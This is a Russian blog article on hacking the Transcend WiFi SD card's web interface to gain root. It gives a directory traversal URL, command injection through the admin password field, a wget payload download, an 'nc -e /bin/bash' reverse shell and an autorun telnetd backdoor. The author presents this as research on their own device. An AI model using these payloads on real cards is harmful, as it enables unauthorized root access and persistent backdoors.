24.10.2013

Взлом Transcend WiFi SD карт

image

Данная статья написана с намерением поиска и использования багов, часть из которых позволяют аутентифицироваться под root’ом, а также для определения эксплоита, позволяющего это сделать.

Автор: Pablo
haxit.blogspot.ru

Обновление: Я добавил некоторую информацию (в конце статьи) по выявлению бэкдора для выполнения шелл скриптов при запуске без использования эксплоита!

Обновление 2: fernjager опубликовал свою работу, посвященную перепрошивке. Это отличные новости для тех, кто хочет расширить возможности (пользовательский инструментарий, модули ядра и т.д.) описываемого устройства.

Могу с гордостью сказать, что с недавнего времени я являюсь владельцем Transcend WiFi SD карты. Она позволяет мне переносить фотографии, сделанные с помощью DSLR (который, будучи NEX, имеет хорошие возможности для переноса) на любое WiFi-устройство за считанные секунды. Учитывая то, что я люблю снимать и делиться результатом съемки «на ходу», SD карта, позволяющая передать фото по WiFi на телефон, кажется довольно полезной. И она была (впрочем, и сейчас). Мобильное приложение могло быть… нет, должно быть несколько усовершенствовано (зачем качать изображение в 7 Мб, чтобы передать его, а затем снова скачать?), хотя, оно все-таки выполняет свою работу!

Я был поражен тем очевидным фактом, что это маленькое устройства может не только хранить 16 Гб данных – существует и 32 Гб версия – при таком размере, но и является встроенной системой, способной запускать приложения, в том числе веб-сервер, поддерживать связь с другими устройствами через WiFi и даже поддерживать собственную беспроводную сеть. Но достаточно болтовни: можем ли мы расширить первоначальный функционал этого устройства?

Данная статья написана с намерением поиска и использования багов, часть из которых позволяют аутентифицироваться под root’ом, а также для определения эксплоита, позволяющего это сделать.

Подготовка к взлому

С самого начала я подозревал, что на карту установлен какой-нибудь встроенный Linux. Если так, то расширение его функционала становится легкой задачей, но сначала нужно получить контроль над системой. Для взаимодействия с системой раньше я использовал только приложения для iOS и Android, но было понятно, что самый простой способ взаимодействия – веб приложение. И незамедлительно мне пришла в голову следующая мысль:

«Если уж мобильные приложения сейчас пишутся отвратительного качества, то же самое должно быть справедливо и для веб приложений или серверов… Возможно, они полны багов, которые можно использовать.»

Вы даже не представляете, как я был прав!

После того, как вы подключитесь к веб серверу (IP адрес карты 192.168.11.254, логин и пароль по умолчанию admin/admin), у вас появится то же гадкое чувство, как при использовании мобильного приложения. Но, что плохо для пользователя, хорошо для хакера! В то время как многие для определения уязвимостей используют мощные средства вроде сканера или фаззера, в данном случае защита была на таком низком уровне, что я смог найти баги вручную.

Отдельно стоит выделить раздел «Файлы», который позволяет вам просматривать содержимое SD карты. К сожалению, он не позволяет вам зайти в корень карты. Или же позволяет? Это было бы полезно, чтобы определить, как работает система, получить о ней больше информации или даже выполнить код через веб интерфейс, если нам повезет. Ссылка «Родительский каталог» содержит следующий URL (%2F – закодированная символа «/»):

http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd

Что ж, давайте попробуем посмотреть, что находится в каталоге /www с помощью строки http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww. Это не сработало, так же как и для директорий /, /bin, /etc и прочих. =( неудача. Это было бы так просто! Но оказывается, благодаря беззаботности программистов, сделать это и было просто. Пробуем ?dir=/www/sd/../.. (то же самое, что и просто «/») и это работает!

Это потрясающе! Похоже, что программисты закрыли доступ напрямую, но забыли про способ перехода к родительской директории через «../». Таким образом мы можем просматривать все файлы системы. Конечно, кликнув на файл мы его не запустим, а лишь скачаем, но это уже большой прогресс!

Теперь стало ясно, что система использует busybox, так как большинство файлов имеют одинаковый размер, что в некоторой степени указывает, что это ссылки на исполняемые файлы busybox. Тем не менее, это справедливо не для всех, например, не для большинства файлов директории /www/cgi-bin. Вероятно, эти файлы наиболее интересны нам, так как их можно запустить просто через браузер.

В бой!

Выглядит многообещающе! Теперь, когда у нас есть доступ к содержимому системы (даже если только в режиме чтения), у нас появляются преимущества, так как мы можем искать уязвимость в исполняемых файлах.

Просмотр скриптов и поиск ошибок не займет много времени. Кстати, все скрипты написаны на Perl. У Perl есть одна особенность при вызове библиотечной функции open(). Он не только открывает файл, но и выполняет команды, если они прописаны в пути к файлу. Например, open("cat /etc/passwd |"). Также функцию open() можно использовать для создания нового файла в определенной директории или перезаписи существующего, таким образом можно написать свой код и запустить его. Давайте посмотрим, есть ли в данной системе уязвимые файлы.

Один файл стоит отметить отдельно, так как он содержит вызов open() с устанавливаемой пользователем переменной. kcard_upload.pl содержит следующее выражение:

В действительности данный файл вообще не используется в веб приложении! Он скрыт от пользователей, но, тем не менее, он доступен в папке cgi-bin. Мы можем его выполнить, просто указав его в браузере. Было бы вдвойне неловко найти уязвимый скрипт, который даже не используется! Но так ли это в нашем случае?

Просмотр скрипта показал, что существует 3 сложности при контроле переменной $basename.

Во-первых, $basename не является переменной, определяемой пользователем, в полной мере, потому что конечное ее значение определяется вызовом функции GetBasename($upfile), где $upfile является полностью определяемой пользователем (то есть хакером) переменной. Если быть более точным, то это HTML форма для выбора загружаемого файла. Но если мы укажем путь, GetBasename вернет только имя файла, убрав остальное. Это делает наше предыдущий трюк «../../» бесполезным в данном случае.

Во-вторых, в скрипте все символы $basename преобразуются в верхний регистр, что ограничивает варианты действий.

И в-третьих, скрипт позволяет загружать только PNG, JPG, BMP, и GIF файлы.

Неужели это конец? Не так быстро!..

Если взглянуть на код внимательней, можно заметить, что, несмотря на введенное ограничение типа загружаемых файлов, реальная проверка идет только на расширение файлов, причем, не заканчиваясь на них.

Помимо прочего, регулярные выражения не проверяют строку на наличие точки. В регулярных выражениях точка указывает любой символ, кроме новой строки. Ей должен предшествовать escape-символ «\». Думаю, программисты собирались написать /\.GIF$/, но получилось лишь /.GIF/, поэтому мы можем обойти это ограничение с помощью одной из трех комбинаций в любом месте исходной строки. Например, /hi/helPNGlo/asdf.something. Едва ли можно сказать, что это сложно!

Из-за того, что наша строка преобразуется в верхний регистр, вероятно, мы не сможем осуществлять вызов системных команд (так как большинство из них пишутся в нижнем регистре), но возможно мы все еще можем загружать новые файлы, тем самым внедряя собственные скрипты в систему. И нам не важно, в каком регистре написано имя этого файла.

Наконец, при вызове GetBasename() указанный путь будет преобразован еще до записи в переменную $basename. Функция оставит только имя файла, таким образом, строка /path/to/file.txt будет иметь вид file.txt. Это плохо, потому что мы больше не можем манипулировать путем к файлу и написать что-нибудь вроде «../../bin/our-malicious.script». Результатом будет "our-malicious.script", хранящийся в DCIM/198_WIFI/

Но стоит упомянуть, что GetBasename() содержит уязвимость, которую мы можем использовать =)

Как правило, в коде учитываются два случая: когда пользовательская переменная написана в стиле Windows с использованием обратного слэша, и когда в пользовательской переменной используется обычный слэш (используется во всех ОС, кроме Windows). Вернее, следовало сказать, что поведение скриптов в этом плане, как правило, является стандартным! В нашем же случае, скрипт проверяет наличие обратных слэшей, и при их наличии считает, что используется Windows, поэтому при разделении строки символ обычного слэша не учитывается. Допустим, мы подаем на вход следующую строку:

/this/part/gets/discarded\/this/path/is/used

Так как строка содержит один обратный слэш (к слову, вполне допустимый), скрипт посчитает, что это путь к папке в Windows, поэтому строку мы заканчиваем не именем файла, а подстрокой пути к файлу. В примере это /this/path/is/used

Вуаля! Подобный способ позволяет обходить всю защиту и позволяет записать файл в любую папку. Это хорошие новости. Плохие новости, что это не сработает. Все потому, что скрипт считает, что директория ../DCIM/198_WIFI существует, но так как он находится в /www/cgi-bin, это не совсем правда (корректный путь выглядит следующим образом ../sd/DCIM/198_WIFI). К сожалению, мы ничего не можем с этим поделать. Этот баг жестко прописан в скрипте. Разработчики, скорее всего, не уделили должное внимание этому, потому что скрипт нигде не используется пользователями (более того, он скрыт). Насколько я понимаю, в подобном случае наши попытки ни к чему не приведут, это тупик. Хотя, возможно кто-то может предложить инновационное решение для подобной ситуации.

(Кроме того, форма, выводимая kcard_upload.pl не вызывает себя, а вызывает исполняемый файл wifi_upload, поэтому нам бы потребовалось писать запросы HTTP POST самим.)

Не сдаемся!

Рано отчаиваться! Нельзя не заметить, что качество кода настолько ужасное, что там должны быть сотни прочих багов (если хотите попробовать свои силы, я уверен, что /www/cgi-bin/wifi_upload, вызываемый из kcard_upload.pl можно сломать через стек и кучу, потому что он просто кишит вызовами strcpy). На самом деле я не анализировал большинство файлов. Было еще несколько тупиковых попыток взлома, которые я не буду описывать в работе. Опишу лишь баг, который легко использовать для достижения результата.

Существует несколько способов вызова шелл команд напрямую из скрипта Perl, и в нашем случае программисты выполняли эти вызовы очень беспечно, возможно, это позволит нам выполнять собственные команды! Один из способов выполнения шелл кода в perl скрипте – вызов system(). Но, к сожалению, во всех случаях вызова system из .pl и .cgi файлов аргументы были жестко прописаны в коде, поэтому данный способ использования уязвимости нам не подошел. Другим вариантом вызова шелл команд является выражение qx{}, но в нашем случае оно нигде не используется. Однако существует альтернативный вариант qx{} – использование обратных кавычек, в которые заключается выражение. И беглый обзор скриптов показывает, что эта угроза актуальна для многих из них, особенно когда внутри кавычек используются определенные пользователем переменные. Это значит, что их шелл код совмещен с вводимыми нами значениями, из чего вытекает возможность выполнения собственного кода.

В файле kcard_save_config_insup.pl есть всего одна строка, заставляющая меня ликовать:

Данное выражение выполняется при любом содержимом переменной $update_auth, данные в которую поступают из переменных $LOGIN_USR и $LOGIN_PWD. Оба значения задаются строго в форме, что подразумевает наш полный контроль над ними. Их содержимое не проверяется вообще! Если быть более точным, то это форма, отображаемая при входе в веб интерфейс и нажатии меню настроек. Вы можете получить доступ к этой форме напрямую http://192.168.11.254/kcard_edit_config_insup.pl. Здесь вводятся учетные данные администратора. Это значит, что при создании определенного пароля мы можем выполнить код! Во-первых, для того, чтобы определить новую команду после выполнения $update_path, пароль должен содержать точку с запятой. Тогда мы можем записать любую команду, которую захотим. Во-вторых, пароль должен заканчиваться символом # (служит началом комментария), чтобы все, что идет за нашей переменной, не было выполнено (часть «> /mnt/mtd/config/ia.passwd»).

Проверка осуществляется легко с помощью пароля «admin; echo haxx > /tmp/hi.txt #».

Однако сама форма проводит проверку, не позволяющую использовать очень длинный пароль и различные «странные» символы в нем. Но если учесть, что проверка осуществляется javascript’ом на стороне клиентского ПО, ее очень просто можно обойти. Для этого я использовал расширение Chrome Form Editor (https://chrome.google.com/webstore/detail/form-editor/klaecimjlbpfompicealiiifcdjnkbpn).

После подтверждения введенных данных мы можем проверить, сработал ли эксплоит. Зайдем в /tmp, используя эксплоит, описанный в начале статьи. Мы можем скачать файл и проверить его содержимое.

После использования эксплоита не забудьте скинуть пароль на «admin», иначе вам придется сбрасывать настройки карты на заводские (сброс никаким образом не скажется на ваших фото).

Pwnaged?

На текущий момент мы можем не только читать любой файл встроенной системы, но и выполнять код и загружать свои файлы.

Обзор содержимого директории /usr/bin показывает, что существует множество возможностей для создания обратного шелла: netcat (библиотека nc), telnet и т.д. Обратный шелл ожидает входящего подключения на определенный порт ПК и вынуждает операционную систему принимать всякое подключение по этому порту. Это позволяет осуществлять обмен данными и результатами выполнения команд между подключенной и целевой системами. Этого можно добиться огромным количеством способов, но самый простой - использовать netcat:

nc 192.168.11.11 1337 -e /bin/bash

Эта команда подключает netcat к нашему ПК (IP адрес которого 192.168.11.11) по порту 1337, и прокидывает канал через него. Конечно, сначала вы должны использовать ранее описанный эксплоит с паролем «admin; nc 192.168.11.11 1337 -e /bin/bash #». Но, к сожалению, это не работает. То же самое случается при использовании telnet и прочих утилит. Почему они не срабатывают? Ярлыки для nc, telnet и прочих утилит находятся в /usr/bin и вводимый синтаксис корректен! Оказалось, что все эти программы отключены в билде используемого на SD карте Linux’а. Это можно определить, если выполнить telnet или netcat, перенаправив stdout и stderr в /tmp/hi.txt с помощью следующей команды: «nc 192.168.11.11 1337 -e /bin/bash &> /tmp/hi.txt». Если скачать полученный файл, то в нем вы увидите что-то вроде «nc: приложение не найдено», и это значит, что программа отключена. Выходит, мы ограничены в использовании команд через эту форму и не можем использовать сетевые утилиты? Конечно же, нет.

Некоторые скрипты используют wget, соответственно, она включена. Это позволит нам скачать другой файл busybox. Мне было лень компилировать его самому, поэтому я скачал готовый вариант (http://busybox.net/downloads/binaries/latest/). Далее размещаем busybox-armv5l на веб сервере своей локальной машины (моя SD карта не сконфигурирована в режиме Интернет) и выполняем команду «wget http://192.168.11.11/busybox-armv5l» для того, чтобы загрузить файл на SD карту (/www/cgi-bin). После этого запускаем «chmod a+x /www/cgi-bin/busybox-armv5l» лишь для того, чтобы подстраховаться.

Наконец, получаем свой удаленный шелл. Мой ПК слушает порт 1337 («nc -vv -l 1337»), а на SD карте открыт шелл на данном порту («/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash»). И так как все утилиты этого файла busybox ‘а работают, мы можем выполнить команду «/www/cgi-bin/busybox-armv5l <command>» через удаленный шелл, чтобы получить список возможных команд. Например, «/www/cgi-bin/busybox-armv5l id» покажет нам, что мы зашли в ОС под пользователем root!

Не останавливаемся на достигнутом!

Если вы забыли свой пароль и вам нужно его восстановить, вы можете сбросить настройки карты на заводские (есть специальный образ, удаление которого приводит к сбросу SD карты после перезагрузки). Однако вы можете получить шифротекст своего пароля из-за очень глупой ошибки. Один из «скрытых» perl скриптов - kcard_login.pl – осуществляет САМУЮ СТРАННУЮ процедуру аутентификации, что я видел в своей жизни. Он получает пароль из файла wsd.conf, а затем отправляет javascrip код пользовательскому браузеру, который уже и проверяет аутентичность пароля. Нет, вы не ошиблись. Проверка осуществляется с помощью javascript!

Это означает, что вся ваша задача получения исходного сообщения шифротекста сводится к переходу по ссылке http://192.168.11.254/cgi-bin/kcard_login.pl и просмотру исходного кода страницы. Пароль будет там.

Полная чушь!

(Обновление) Спасибо за отличный бэкдор =)

Один из скриптов (rcS), выполняемый автоматически при запуске запускает autorun.sh, если он расположен в корне SD карты. Это отличная почва для дальнейших исследований на возможность взлома. Спасибо, Transcend!

На моей карте в корневом каталоге есть этот скрипт (autorun.sh), как и busybox-armv5l, поэтому я могу очень просто подключиться к системе через telnet:

cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &
>

Теперь вы можете зайти в систему сразу после включения и загрузки карты:

Удачной охоты!

или введите имя

CAPTCHA